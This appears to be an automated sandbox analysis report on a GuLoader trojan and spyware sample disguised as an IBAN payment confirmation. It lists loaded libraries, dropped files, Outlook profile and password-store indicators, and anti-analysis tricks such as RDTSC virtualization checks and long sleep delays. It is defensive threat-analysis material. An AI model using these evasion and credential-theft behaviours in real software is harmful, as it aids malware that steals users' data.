Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90488	11_2_39C90488
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C9848C	11_2_39C9848C
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90498	11_2_39C90498
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C977EC	11_2_39C977EC
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C946F8	11_2_39C946F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C946F4	11_2_39C946F4
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C9563C	11_2_39C9563C
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3A206E80	11_2_3A206E80
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3A20E710	11_2_3A20E710
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3A20D558	11_2_3A20D558
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3A2080E8	11_2_3A2080E8

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: String function: 00402B3A appears 47 times

Source: IBAN payment confirmation.exe, 0000000B.00000002.2529727295.0000000036D37000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs IBAN payment confirmation.exe

Source: IBAN payment confirmation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045CA

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File created: C:\Users\user\selvsikker

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsa5F4.tmp

Jump to behavior

Source: IBAN payment confirmation.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037054000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037025000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037048000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037033000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037015000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2530405935.0000000037F5D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: IBAN payment confirmation.exe

ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File read: C:\Users\user\Desktop\IBAN payment confirmation.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\IBAN payment confirmation.exe "C:\Users\user\Desktop\IBAN payment confirmation.exe"
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process created: C:\Users\user\Desktop\IBAN payment confirmation.exe "C:\Users\user\Desktop\IBAN payment confirmation.exe"
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process created: C:\Users\user\Desktop\IBAN payment confirmation.exe "C:\Users\user\Desktop\IBAN payment confirmation.exe"	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1943129976.0000000005351000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_10002DA0 push eax; ret	0_2_10002DCE
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C939E9 push es; retf	11_2_39C939EA
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C939E0 push es; retf	11_2_39C939E6
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94F9C push ss; retf	11_2_39C94F9E
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94FA1 push ss; retf	11_2_39C94FA2
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C97E34 push B439CBF3h; retf	11_2_39C97E39
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94291 push cs; retf	11_2_39C94292

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File created: C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	API/Special instruction interceptor: Address: 5502994
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	API/Special instruction interceptor: Address: 3872994

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	RDTSC instruction interceptor: First address: 54C9E75 second address: 54C9E75 instructions: 0x00000000 rdtsc 0x00000002 cmp ecx, 120D9635h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F65A8DE1B0Bh 0x0000000c cmp dx, cx 0x0000000f inc ebp 0x00000010 test bx, bx 0x00000013 inc ebx 0x00000014 cmp bh, 00000077h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	RDTSC instruction interceptor: First address: 3839E75 second address: 3839E75 instructions: 0x00000000 rdtsc 0x00000002 cmp ecx, 120D9635h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F65A8EACBBBh 0x0000000c cmp dx, cx 0x0000000f inc ebp 0x00000010 test bx, bx 0x00000013 inc ebx 0x00000014 cmp bh, 00000077h 0x00000017 rdtsc

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Memory allocated: 36F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Memory allocated: 36D40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597655	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595341	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594999	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Window / User API: threadDelayed 1837			Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Window / User API: threadDelayed 8021			Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

API coverage: 3.0 %

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4716	Thread sleep count: 1837 > 30	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4716	Thread sleep count: 8021 > 30	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -599093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598203s >= -30000s	Jump to behavior
